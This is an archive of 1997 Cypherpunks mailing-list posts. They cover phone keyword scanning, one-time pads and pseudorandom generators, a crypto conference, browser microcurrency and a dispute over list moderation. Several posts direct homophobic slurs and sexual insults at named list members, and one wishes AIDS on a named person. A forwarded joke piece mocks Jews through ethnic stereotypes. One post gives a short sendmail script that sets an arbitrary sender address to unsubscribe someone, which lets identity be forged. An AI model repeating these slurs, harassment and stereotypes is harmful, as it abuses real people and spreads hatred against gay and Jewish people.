From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 09:14:59 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
In-Reply-To: <85359805820229@cs26.cs.auckland.ac.nz>
Message-ID: <32E104FF.422B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


pgut001@cs.auckland.ac.nz wrote:
> I was talking to someone recently about the feasibilty of keyword-scanning
> phone conversations.  He thought it was probably still beyond the reach of
> current technology, I thought it wasn't (I gave a couple of references in a
> recent paper on government attitudes to crypto which indicate that it's being
> used right now by a number of governments).  Anyway, I've got bits and pieces
> of one or two papers here which people might find interesting.  The first one is:
> "Digital Circuit Techniques for Speech Analysis" by G.L.Clapper, presented at
>  the AIEE Winter General Meeting in January 1962.
> I've only got the first two pages of the paper here, I think the full thing
> might have been published in the IEEE Trans.Communications in about 1963.  This
> paper mentions a "digit recognizer" built at Bell Labs in 1952, and a Japanese
> voice-operated typewriter using 3,000 transistors and 6,000 diodes.  The paper
> goes on to describe a means of producing a "compact digital code expressing
> significant qualities of speech in a form suitable for machine utilization".
> This was in 1962!

Mae Brussell (daughter of I. Magnin chain founder) and later John Judge
have been writing about this and related subjects for more than 20
years now.  Check out "The John Judge Reader".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 09:29:40 -0800 (PST)
To: i.am.not.a.number@best.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3.0.32.19970118090523.006ac2fc@best.com>
Message-ID: <32E10868.645A@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


i.am.not.a.number@best.com wrote:

> dang!  i forgot to change.
> what's the moderated list being called?
> which is this one?  yikes --- i've been paying attention
> to somether things.

> At 08:17 PM 1/17/97 -0800, you wrote:
> >Total subscribers for:

This is exactly the reason the jerks (Gilmore, Sandfort) CHANGED THE
NAME of the original list, and had the *moderated* list co-opt the
original name.

This is one of the oldest and most well-used national security tricks
in the book.  When I asked Gilmore about this, he ignored my question
and rambled on about some irrelevant thing.  Surprised?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 18 Jan 1997 09:39:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition
Message-ID: <3.0.32.19970118094021.006f0038@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of keyword-scanning
>phone conversations.  He thought it was probably still beyond the reach of
>current technology, I thought it wasn't.

I once met a fellow who's company makes high performance key word scanning and speaker recognition products for use by governmental entities in analyzing voice communications. Unfortunately, I lost his business card.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Sat, 18 Jan 1997 06:52:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: One time pads and randomness?
Message-ID: <970118095118_1012184551@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Question:

I want to use a one time pad pased crypto system. I understand that the
randomness of the pad genorator is key to security(other than lossing the
keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
self every 1000 characters and use it to only encrypt messagase that are
100's of charaters long, will this be a major security risk? 

Next question:

Say I create a 1 million character one time pad that passes all of the
randomness tests. It is "truely random". I place it on two computers. Now
when these two computers want to send email computer "A" grabs a chunk of the
one time pad  starting at a random point and encrypts it. It labels the email
with the random starting point and sends it to "B". There "B" moves to the
random point and begins decryption. During to process both computers mark
that section of the OTP used so that they don't retransmit with it. I realize
this has a limited amount of messages before it is used up. But would this be
secure? Any suggestions, complaints, big gapping holes I missed? 

Aaron....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 08:54:48 -0800 (PST)
To: BJORN2LUZE@prodigy.com (NATHAN MALLAMACE)
Subject: Re: Jewish English: Hebonics
In-Reply-To: <199701172152.QAA21520@mime4.prodigy.com>
Message-ID: <199701181651.KAA10265@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


See my extensive research on Sovonics also.

(look up article titled "Sovonics is equallanguage...", posted to
soc.culture.russian.moderated).

igor

NATHAN MALLAMACE wrote:
> 
> -------
> 
> http://pages.prodigy.com/VT/  look for the most updated link there...
> 
> 
> -------
> 
> If you have already read this, I suggest you PRINT IT this time and 
> delete it. If you HAVEN'T READ IT YET. Make a copy and post it on 
> some other mailing list. Read on... Wyane.
> 
> -
> 
> >>Jewish English or "Hebonics"
> >>
> >>The Encino School Board has declared Jewish English a second 
> language.
> >>Backers of the move say the district is the first in the nation to
> >>recognize Hebonics as the language of many of American Jews.  Here 
> are
> >>some descriptions of the characteristics of the language, and 
> samples
> >>of phrases in standard English and Jewish English.
> >>
> >>Samples of Pronunciation Characteristics
> >>
> >>Jewish English or "Hebonics" hardens consonants at the ends of 
> words.
> >>
> >>Thus, "hand" becomes "handt."
> >>
> >>The letter "W" is always pronounced as if it were a "V".  Thus
> >>"walking" becomes "valking"
> >>
> >>"R" sounds are transformed to a guttural utterance that is 
> virtually
> >>impossible to spell in English.  It is "ghraining", "algheady"
> >>
> >>
> >>Samples of Idiomatic Characteristics:
> >>
> >>Questions are always answered with questions:
> >>   Question: "How do you feel?"
> >>   Hebonics response: "How should I feel?"
> >>
> >>The subject is often placed at the end of a sentence after a 
> pronoun
> >>has been used at the beginning:  "She dances beautifully, that girl.
> "
> >>
> >>The sarcastic repetition of words by adding "sh" to the front is 
> used
> >>for emphasis.
> >>
> >>  mountains becomes "shmountains"
> >>  turtle becomes "shmurtle"
> >>
> >>
> >>Sample Usage Comparisons:
> >>
> >> Standard English Phrase             Hebonics Phrase
> >>
> >> "He walks slow"        -      "Like a fly in the ointment he 
> walks"
> >>
> >> "You're sexy"          -      (unknown concept)
> >>
> >>"Sorry, I do not know   -      "What do I look like, a clock?"
> >> the time"
> >>
> >> "I hope things turn    -      "You should BE so lucky"
> >> out for the best"
> >>
> >>"Anything can happen"    -     "It is never so bad, it can't get 
> worse"
> 
> 
> Interesting?
> Sorry, I wasn't the one who wrote this.. It's just interesting to me.
> 
> Nathan
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 18 Jan 1997 14:29:27 -0800 (PST)
To: cryptography@c2.net
Subject: 1997 Mac Crypto Conf registration
Message-ID: <v03007817af06a22a9a4c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 14 Jan 1997 11:33:11 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: 1997 Mac Crypto Conf registration

-----BEGIN PGP SIGNED MESSAGE-----

hey all;

I have posted a registration webpage for the 1997 Mac Crypto
Conf
at http://www.vmeng.com/mc/conf.html


If you plan to give a talk there, I am looking for abtracts by
end of Jan

thanks

Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
- -------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: Pretty Safe Mail 1.0

iQCVAwUBMtvcsfMF2+rAU+UdAQFOogP/R1/WmmAi3oEgLsC1il1OKf+7jR9j4L5U
tAvhZIB6nyYpuHdP1fZ+/KfyCi4fYDmHIO4wVJo1BfbUtYL0YkIqzw/00JM8zfHR
Zm9pcjSo70EDZPuypYyH+t0RlXJZj1eU0KjhAtRGeeWxAhP686wWCvz8hW4f2VfX
uiLObXiqXiw=
=faEk
-----END PGP SIGNATURE-----




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 20 Jan 1997 08:29:46 -0800 (PST)
To: cryptography@c2.net
Subject: 1997 Mac Crypto Conf registration
Message-ID: <199701201629.IAA12901@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 14 Jan 1997 11:33:11 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: 1997 Mac Crypto Conf registration

-----BEGIN PGP SIGNED MESSAGE-----

hey all;

I have posted a registration webpage for the 1997 Mac Crypto
Conf
at http://www.vmeng.com/mc/conf.html


If you plan to give a talk there, I am looking for abtracts by
end of Jan

thanks

Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
- -------------------------------------------------------

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tAvhZIB6nyYpuHdP1fZ+/KfyCi4fYDmHIO4wVJo1BfbUtYL0YkIqzw/00JM8zfHR
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
Message-ID: <eRJq1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
  ^
There's some confusion as to what this 'C' stands for. It stands
for "cocksucker", as in "Timmy Cocksucker May" -- not "crypto".

Q: How does Moderator Sandfart address a "cypher punks" meating?
A: "My fellow cocksuckers!"

> On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
>
> > ...but I must say the list has gone downhill sharply since
> > the start of the censorship.
>
> I guess this a classic case of seeing what you want to see.

E.g. there'll be no more "copyright violations" (aka "news spam") on
the moderated list. Can anyone suggest an appropriate place for it?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:50:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701180514.XAA00633@smoke.suba.com>
Message-ID: <DyJq1D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > snow <snow@smoke.suba.com> writes:
> > > > I say we make people fly naked and ship their stuff via UPS ;).
> > >     >>shudder<<
> > >     No!. A clear case of the cure being worse than the disease...
> > Why. it might be fun - those long flight can be so boring with clothes on..
>
>      Rossanne Barr. Nude.
>
>      Sorry to ruin your dinner.

It's funny how the same punks who want to scroew their keys and restrict
their own free speach by moderating their mailing list, refuse to fly
nekkid for their own protection. I guess Pedro's views aren't representative.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
Message-ID: <B9Jq1D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > >
> > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > > >
> > > > > >     >>shudder<<
> > > > > >     No!. A clear case of the cure being worse than the disease...
> > > >
> > > > > Why. it might be fun - those long flight can be so boring with clothe
> > > >
> > > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > > solution to the airport security problem, and nobody's gonna go for it.
> > > >
> > > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > > Besides, they can put all the clothes in the same plane's baggage
> > > > compartment.  And planes have those little blankets and pillows,
> > > > so what's the problem?
> > >
> > > 	Cold temps...
> >
> > What can naked people do to keep warm???
>
> 	steal blankets from nearby passenger..

I once saw a movie where they had a heroin (or cocaine?) processing lab
and everybody was supposed to work naked so it would be hard to steal
some of the product. Of course in the movie all the employees were good-
looking women (Oksas would have been the big star!).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02B87.3B9A@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Your majordomo is malfunctioning.

 

Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02BA5.AEE@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Newt's phone calls
In-Reply-To: <01BC04D2.80B01D40@s10-pm06.tnstate.campus.mci.net>
Message-ID: <PHkq1D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Internaut <unde0275@frank.mtsu.edu> writes:

> >What does concern me is personal privacy. I don't want people tracking
> >my movements or purchasing patterns, so I prefer to use cash or
> >pseudonymous debit cards.
>
> How pseudonymous are debit cards?

In practice, a debit card must be tied to a bank account with a valid SS#.
You try something suspicious and the IRS will debit the account $500 and/or
freeze it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Sat, 18 Jan 1997 08:50:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32E02BB5.1874@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


Unsubscribe 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Jskq1D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > > I suppose you want a special censored list where everyone who uses
> > > the word "fuck" in relation to your good self or any other member of
> > > this list you agree with has their posting cut?
> >
> > No, I don't want censored anything. "Cypher punks" have degenerated into
> > a moderated forum where those who dare criticize His Royal Majesty John
> > the Cocksucker and his court are forcibly unsubscribed, while all sorts
> > of vile insults directed at John's many "enemies" are encouraged.
>
> I quite agree, there is something most definitely wrong with this
> whole situation, still, at least there are some crypto-relevant
> people on the "cryptography" mailing list. cypherpunks still has worthwhile
> nuggets on it but I must say the list has gone downhill sharply since
> the start of the censorship.

I quite agree - a number of people stopped posting in protest when Cocksucker
Gilmore unsubscribed me because he didn't like the content of my articles.

Of course Paul "brute force attack on one-time pad" Bradley was one of the
pro-censorship goons who asked John to "remove" me from the mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:50:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <Pine.OSF.3.91.970118015312.31481B-100000@gaston.tenet.edu>
Message-ID: <eykq1D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dan Harmon <harmon@tenet.edu> writes:

> Too much free time.

A crontab deamon has all the time in the world.

> 		Surf'n the singularity.
>
> On Sat, 18 Jan 1997, Bovine Remailer wrote:
>
> > Timothy May's obsessive masturbation has lead to
> > advanced degree of blindness and hairy palms.
> >
> >        ___
> >      \/   \/
> >      |_O O_| Timothy May
> >       | ^ |
> >      / UUU \
> >
> >


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 10:17:01 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: your mail
In-Reply-To: <32E02BA5.AEE@comet.net>
Message-ID: <199701181810.MAA10982@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


T. O'Brien wrote:
> ------------438F2CA70B04
> Content-Transfer-Encoding: 7bit
> Content-Type: text/html; charset=us-ascii
> 
> <HTML><BODY>
> 
> <DT>Unsubscribe&nbsp;</DT>
> 
> </BODY>
> </HTML>
> ------------438F2CA70B04--
> 

Here's a shell script that i wrote to help people like Prof. OBrien.

#!/bin/sh

if [ "x$1" = "x" ] ; then
  echo Usage: $0 email 1>&2
  exit 1
fi

/usr/sbin/sendmail -f $1 majordomo@toad.com << __EOB__
Subject: unsubscribe
From: $1
To: majordomo@toad.com

unsubscribe cypherpunks
__EOB__




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 10:52:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore and Sandfart suck big dicks
Message-ID: <4Lmq1D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone wrote to me:

>Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>write what the fuck they like but straight or intelligent or NORMAL
>people will have to be filtered.

Yes, that's precisely how Sandfart's moderation will work. Homosexuals
like Jason Durbin will continue to post personal attacks on Gilmore's
many "enemies", but the victims of the libel will not be able to respond
and refute their lies. The concept of "the best response to speech you
don't like is more speech" is totally alien to the homosexual subculture
on the Internet. These control freaks are into censorship and B&D.

>I realize that normal people are few and far between in cypher punks.

There may be quite a few normal and knowledgeable people left among the
subscribers, but most posters are indeed militant homosexual censors
who don't care about crypto except to drop a few "kewl" phrases - like
Paul Bradley's infamous "brute-force attack on one-time pads".

>I am NOT a cypher-punk and I hope that you do not class me as one, I am
>merely interested in cryptography and believe it or not I actually pick
>up tips every now and again from the list.

I'm sure you're not a "cypher punk" - you're both too smart and too
straight. :-) A while back I saw an announcement of a "cypher punks"
meating where Jim Bell was explicitly disinvited, and I announced that
I don't consider myself a "cypher punk". Jim Bell is a pro-censorship
asshole, but I will defend his freedom of speech nevertheless.

Occasional tidbits of useful information do still appear on this list.

>I am against moderation on the list and I aggree that Gilmug is a lying
>cocksucker. Please bear in mind that not everyone on the list is a
>"jew-hating" faggot with nothing but shit between their ears.

I wholeheartedly agree - however anyone who describes himself as a
"cypher punk", after John Gilmore's dishonorable actions, probably is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 18 Jan 1997 13:05:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: microcurrency: Netscape vs. Microsoft
Message-ID: <199701182105.NAA13618@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


it seems that microcurrency has still not hit the "big time"
yet. or perhaps some people see otherwise. what is the evidence
for how far it has penetrated ala DigiCash etc? I haven't seen
much myself.

I predict that microcurrency will not catch on in a big way
until it is integrated with browsers, and when it is, it
will be adopted in an insanely large rush like the way
the web itself caught on with the GUI (and was mostly comatose
before it).  

I'd like to have seen microcurrency catch on like a brushfire
at this point, and was trying to figure out why it hadn't,
and focused on the above key aspect.

hence, I wonder: 

WHO WILL BE THE FIRST TO INCORPORATE A MICROCURRENCY
FEATURE IN THEIR BROWSER, MICROSOFT OR NETSCAPE?

why am I shouting? because I hope that we can create
a buzz around this question, to the point that both
manufacturers begin to realize how much is at stake
in this single little feature. I'd like to see speculation
and articles about it in the trade press.  let it turn
into a hot topic of conversation..

do either MS or Netsacpe have plans to
do so right now? I suspect the future of the browser
wars will belong to he who does the microcurrency feature.

here's how it might work: the browser has an internal
piggyback that can be filled up with cash. it has various
features that prohibit a charge of greater than some
fixed limit of being made, per time, per site etc... also
in no case can more money than is currently in the piggy
bank be charged. once the charge hits, there is no
contesting allowed, because the charge is so low. a little
bar on the user interface could indicate how much cash
is left. 

the idea would also be to invent some new html tags that
indicate the charge on a link. the charge is incurred when
1/2 of the page is sent (there would be all kinds of hacks
in which people could retrieve only part of a page to avoid
the charge, hence this limit or some variation thereof).
so when I move my mouse over a link in the browser, I see
not only its address as with Netscape's, but also some 
charge that will incur when I hit it. there could be color
coding and little graphics for costs also.

notice how much crypto really caught on when Netscape 
incorporated it, and how this action alone did more for
the proliferation of crypto in cyberspace, almost, than
all prior efforts combined. I think that microcurrency
will be unleashed in a very similar way.

the system I describe above can be built up pretty easily
from existing technology such as DigiCash. pretty much
all the major ingredients are available.. it's just a matter
of time before some enterprising programmers plug it all
together in an easy to use way. (as far as I know the
Digicash software is not easily integrated with any browser,
am I correct?)

by framing the question as I have above, the question is
no longer "how should microcurrency be implemented", or
"should it be", but "who will be the first to do it?", 
a nice competitive incentive to the key companies involved.

so, Netscape, Microsoft, are either of you listening? do you
have any idea how much is riding on this option? are you
working on it right now? if not, are you prepared to face
the consequences? has anyone heard any rumors about their
intention to implement microcurrency? 

I've long predicted some pretty revolutionary strides
in cyberspace that will make all development up to now
look pretty sickly and pale, when microcurrency is invented
and brought into a trivial-to-use GUI.  in a sense it is the
the economic system that the whole industry (or even the
whole world) has been waiting for ever since its beginning.
it will unleash a torrent of frenzied innovation and reorganization
beyond what anyone has ever seen or thought possible.

p.s. has anyone done a plugin that handles cash in the way
I am referring to? this may be a really neat way for 
third-party developers to cash in on this, but I suspect
that it's so crucial that the browser manufacturers will
eventually incorporate it themselves.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 11:10:59 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970118130638.8690A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:

> 
> > > I suppose you want a special censored list where everyone who uses
> > > the word "fuck" in relation to your good self or any other member of
> > > this list you agree with has their posting cut?
> > 
> > No, I don't want censored anything. "Cypher punks" have degenerated into
> > a moderated forum where those who dare criticize His Royal Majesty John
> > the Cocksucker and his court are forcibly unsubscribed, while all sorts
> > of vile insults directed at John's many "enemies" are encouraged.
> 
> I quite agree, there is something most definitely wrong with this 
> whole situation, still, at least there are some crypto-relevant 
> people on the "cryptography" mailing list. cypherpunks still has worthwhile 
> nuggets on it but I must say the list has gone downhill sharply since 
> the start of the censorship.
> 
>        Paul Bradley, Paul@fatmans.demon.co.uk

Um, Paul? I hate to break it to you, but they're not moderating yet. If
they were, we wouldn't get as much slime as we do on the list. 

Personally, I wish they'd hurry up. I'm getting rather annoyed with the
spam, the "you're all homosexuals" postings, the posts by morons that
can't figure out Majordomo or their mailers, and so on and so forth. 

So I ask you this: If the moderation isn't yet implemented, then how has
it "gone down sharply since the start of the censorship [which hasn't been
done yet]?" 

<sarcasm> I just can't wait to see what kind of witty comment Dimitri will
have on the first and second paragraphs of my response. </sarcasm>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Sat, 18 Jan 1997 10:31:35 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: RE: One time pads and randomness?
Message-ID: <01BC0543.DBB9DCF0@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


> I want to use a one time pad pased crypto system. I understand that the
> randomness of the pad genorator is key to security(other than lossing the
> keys). What I want to know is if I use a psuedo-RNG that maybe repeats its
> self every 1000 characters and use it to only encrypt messagase that are
> 100's of charaters long, will this be a major security risk? 

I'm afraid you've fallen into one of the standard traps.  A PRNG can *not*
make a OTP no matter how you use it.  

The total amount of entropy in a PRNG is the amount of entropy in the seed 
you use to key it.  All the other bits are directly derived from that seed.

A true OTP is completely secure from an information-theory point of view
because every byte has a full eight bits of entropy.  A PRNG can never
have this.

Having said all this, it is possible to make a good cipher from a PRNG.
RC4, for example, is exactly that and the variable sized key is the
seed for the PRNG.  It is however very difficult to come up with a
good algorithm for that cryptographically sound PRNG and you would
be much further ahead to use an existing one rather that trying to
roll your own.

> Say I create a 1 million character one time pad that passes all of the
> randomness tests. It is "truely random". I place it on two computers. Now
> when these two computers want to send email computer "A" grabs a chunk of the
> one time pad  starting at a random point and encrypts it. It labels the email
> with the random starting point and sends it to "B". There "B" moves to the
> random point and begins decryption. During to process both computers mark
> that section of the OTP used so that they don't retransmit with it. I realize
> this has a limited amount of messages before it is used up. But would this be
> secure? Any suggestions, complaints, big gapping holes I missed? 

I don't see anything wrong as such, but there is nothing to be gained either.
If your random data is real OTP material there is no need to skip to a random
byte within it, just start at the beginning and use it in sequence.  If your random
data is the output of a PRNG like the above then random starting point doesn't
buy you much additional security because the entire set of keying material can
be recreated from the seed.  It may increase the work-factor of searching for
the key, but it also imposes the practical problem of keeping all that keying
material secure.

More importantly don't confuse statistically random with cryptographically
random.  Just because a bunch of bits passes all the randomness test
you can think of doesn't mean it contains 100% entropy.  Consider the
digits of an irrational number like sqrt(2) or pi, the digits appear statistically
random but they can be recreated from just a tiny bit of knowledge.

A good litmus test is to ask yourself if there is any way you can
reproduce those bits.  If there is, they aren't a one time pad.
(Of course even if you can't it doesn't mean they are good. :-)

regards,
-Blake





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Repeal the 9th Amendment?
In-Reply-To: <1.5.4.32.19970118135359.0068ca28@pop.pipeline.com>
Message-ID: <HJqq1D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

> Why not just repeal the forgotten Ninth Amendment
...
> Mr. Ray is chairman of the Dade County Libertarian Party Organization.

This Jim Ray shyster is also a pathological liar and probably a faggot.
I hope Sandfart and Gilmore give him AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 11:20:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
